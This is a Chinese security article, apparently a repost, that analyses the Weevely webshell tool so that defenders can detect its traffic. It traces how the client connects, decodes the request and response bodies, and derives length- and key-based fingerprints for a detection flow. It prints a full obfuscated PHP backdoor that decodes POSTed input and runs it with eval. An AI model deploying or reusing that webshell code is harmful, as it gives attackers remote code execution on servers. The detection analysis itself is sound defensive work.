实战Webshell管理工具Weevely检测思路分析

admin 2023年12月11日15:36:41评论14 views字数 3826阅读12分45秒阅读模式

 扫码领资料

获网安教程

免费&进群

实战Webshell管理工具Weevely检测思路分析
实战Webshell管理工具Weevely检测思路分析

Weevely上线阶段分析篇

一、背景

近日,新华三盾山实验室在实战演练防守中发现一次使用Weevely攻击的事件,攻击者使用混淆的webshell绕过了安全设备检测,成功上传了恶意文件并Getshell。通过查看目标主机中的webshell木马文件,发现其混淆程度较高,通过特征不好检测,现通过分析其上线流量方式寻找有效的识别方法。

Weevely是一款基于Python语言开发的渗透测试工具,主要用于在目标主机上执行远程操作,类似中国菜刀。本篇文章主要介绍Weevely上线流量分析与识别、Weevely后门文件识别、Weevely加解密方法。

二、客户端源码分析

本段落通过分析Weevely源码,详细介绍Webshell上线交互流量,以及客户端代码实现。

客户端交互认证过程:通过http层通道发送加密信息到服务端,再通过解密服务端回复的信息,从而判断Weevely连接状态是否建立成功,客户端的具体步骤如下:

第一步:Client通过send()函数发送信息。其body字段传输信息形式为:

"t0GP$"Iw`|%yM}:bbb6070c0372HalGcBsTrB7vGn8V/hZM+Kl+4gjmjRAZyxkbcfvsNn4o+/1vBgpTAVVg4owwOS2paOscdfe42fa0db1lpU`}F4|/;_RKd^#。

实战Webshell管理工具Weevely检测思路分析

实战Webshell管理工具Weevely检测思路分析


第二步:通过代码中utils.sting.sxor()、zlib.compress()、base64.b64encode()加密函数以及channel.send()函数可知,请求中body密文加密字段为 “echo (X);”字样,其中X取值为(11111-99999)的随机数字。通过代码中定义变量可知,POST请求中body字段组成形式如下方所示:

body长度形式为:16(随机字符)+ 12(秘钥)+ len(X) + 12(秘钥)+ 16(随机字符)。

以上分析可知:该处可能存在Weevely工具指纹;为了验证猜想,本文进行了深入的分析验证(第四节详细分析)。

实战Webshell管理工具Weevely检测思路分析

第三步:Client通过解密函数utils.sting.sxor()、zlib.decompress()、base64.b64decode()对接收服务端响应的body字符串进行解密,并判断字符串是否和send()函数发送到服务端的“X”值相同,从而判断客户端与服务端是否能够成功建立通信。

实战Webshell管理工具Weevely检测思路分析

三、服务端源码分析

Weevely Webshell文件通过各种混淆字符插入、随机变量名以及str_replace()使用,降低了Webshell的指纹特征。如果仔细观察,会发现Webshell文件存在decode、base64、encode等明显函数,较明显的指纹特征为使用了两次str_replace()函数。

原始混淆的Webshell形式如下:

<?php
$Q='inpF2ut"),$mF2)==1) {@ob_stF2art();@eF2val(F2@gzuncF2omF2press(@x(F2@F2base6F2F24_decode($m[F21]),$k)F2));$o=F2@oF2bF2';
$n='){$F2c=sF2tF2rlen($k)F2;F2$l=strlen($t)F2;$F2F2o="";for(F2$i=0;$iF2<$lF2;){F2for($j=0;($F2j<$c&&$i<$lF2);$j+F2+,$F2i++){';
$y='$o.F2=$F2tF2F2{$i}^$k{$j};}}retF2F2urn $o;}ifF2 (@prF2eg_match("/$kh(.F2+)F2$F2kf/",@file_get_conF2teF2nts(F2F2"php://';
$j='$k="e5F25869F2F2f1";$kh="bbbF2607F20cF2F2F20372";$kf="cdfF2e42fa0db1";$pF2="hF2GF2hCrCVUrXyqix5x";fuF2nctionF2 x($t,$k';
$F='_get_contents(F2);@ob_end_F2cleF2an();$r=@base6F24F2_eF2ncode(@x(@gF2zF2compressF2F2F2($o),$k));print("$pF2$kh$r$kf");}';
$z=str_replace('ia','','criaeatiaiae_fiauniaciation');
$O=str_replace('F2','',$j.$n.$y.$Q.$F);
$v=$z('',$O);$v();
?>

通过代码逻辑可以对混淆的Webshell语句进行还原,还原结果如下图所示:

实战Webshell管理工具Weevely检测思路分析

四、上线通信编码解码分析

1、请求方向字段解码

实战Webshell管理工具Weevely检测思路分析

通过反向加解密得到请求body位置加密内容为:“echo(81232);”,其中“81232” 是随机的数字组合(11111-99999)。根据加密的方法可知:当“X”为5个数字相同组合时,其加密后字符串长度为23个字节;当“X”为前四个数字相同或者后四个数字相同组合时,其加密后字符串长度为24个字节;当“X”为其他情况组合时,其加密后字符串长度均为27个字节。根据固定长度计算方法:16(随机字符)+ 12(秘钥)+ len(X) + 12(秘钥)+ 16(随机字符)可知Content-Length值为:83/80/79,此处证明了之前的猜想是成立的。

实战Webshell管理工具Weevely检测思路分析

2、响应方向字段解码

接下来再反推响应body位置加密+base64编码后字符串的长度,进一步确认响应方向Content-Length值。

根据加密的方法可知:当“X”为5个数字相同或前4个数字相同组合时,其加密后的字符串长度为16个字节;当“X”为其他情况组合时,其加密后的字符串长度均为20个字节。根据回应方向固定长度计算方法:16(随机字符)+ 12(秘钥)+ len(X) + 12(秘钥),得到:Content-Length值为60/56。

可知Weevely交互流量中centent-length对应关系如下:

请求中content-length:83/80 对应响应中content-length: 60

请求中content-length:79 对应响应中content-length: 56

根据下图可以推导出随机“X”字符的加密后长度是固定的。

实战Webshell管理工具Weevely检测思路分析

五、Webshell上线报文流量解析

上线流量请求和响应方向特征对比:

实战Webshell管理工具Weevely检测思路分析

根据上几节分析可确定Weevely工具特征:

请求body字段为:随机16个字节+12个字节秘钥+echo(X);的加密字符串+12个字节秘钥+16个随机字节。

响应body字段为:随机16个字节+12个字节秘钥(与请求中相同)+请求中X加密字符串+12个字节秘钥(与请求中相同)。

六、防守检测思路

初看通信流量字段信息,好像无法提取检测特征,通过分析一轮之后,通信指纹逐步清晰;因此,可根据本文的分析结果在实际场景应用起来。当存在大量流量报文时,可使用该方法快速的检出Weevely恶意流量,也可在安全检测设备使用该思路检出weevely使用痕迹。该检查思路有利于防守方在攻防演练中高效的判断是否受到Weevely攻击。下面重点介绍该分析的检测逻辑:

实战Webshell管理工具Weevely检测思路分析

检测流程图

具体描述:

  • 先根据请求content-length值来筛选,并确定请求body特定字段是否符合bash64编码:"t0GP$"Iw`|%yM}:bbb6070c0372Hal+dfjxsYFVAQcO5I1gMXLiNhQcdfe42fa0db1lpU`}F4|/;_RKd^#

  • 提取请求body部分第17位字节到第28位字节以及提取倒数第17位字节到倒数第28位字节数据:"t0GP$"Iw`|%yM}:bbb6070c0372Hal+dfjxsYFVAQcO5I1gMXLiNhQcdfe42fa0db1lpU`}F4|/;_RKd^#

  • 确认响应content-length值。

  • 提取响应body部分第17位字节到第28位字节和倒数12位字节的数据:hGhCrCVUrXyqix5xbbb6070c0372HamGCAILUDNlNjo5Nw==cdfe42fa0db1

  • 判断请求body部分中第17位字节到第28位字节和倒数第17位字节到倒数第28位字节与响应body部分提取的第17位字节到第28位字节以及倒数12位字节匹配是否相等。

    来源:https://www.freebuf.com/articles/network/385268.html

    声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

    @

    学习更多渗透技能!体验靶场实战练习

    实战Webshell管理工具Weevely检测思路分析

    hack视频资料及工具

    实战Webshell管理工具Weevely检测思路分析

    (部分展示)

    往期推荐

    【精选】SRC快速入门+上分小秘籍+实战指南

    爬取免费代理,拥有自己的代理池

    漏洞挖掘|密码找回中的套路

    渗透测试岗位面试题(重点:渗透思路)

    漏洞挖掘 | 通用型漏洞挖掘思路技巧

    干货|列了几种均能过安全狗的方法!

    一名大学生的黑客成长史到入狱的自述

    攻防演练|红队手段之将蓝队逼到关站!

    巧用FOFA挖到你的第一个漏洞


    看到这里了,点个“赞”、“再看”吧

    原文始发于微信公众号(白帽子左一):实战Webshell管理工具Weevely检测思路分析

    • 左青龙
    • 微信扫一扫
    • weinxin
    • 右白虎
    • 微信扫一扫
    • weinxin
    admin
    • 本文由 发表于 2023年12月11日15:36:41
    • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                     实战Webshell管理工具Weevely检测思路分析http://cn-sec.com/archives/2287033.html

    发表评论

    匿名网友 填写信息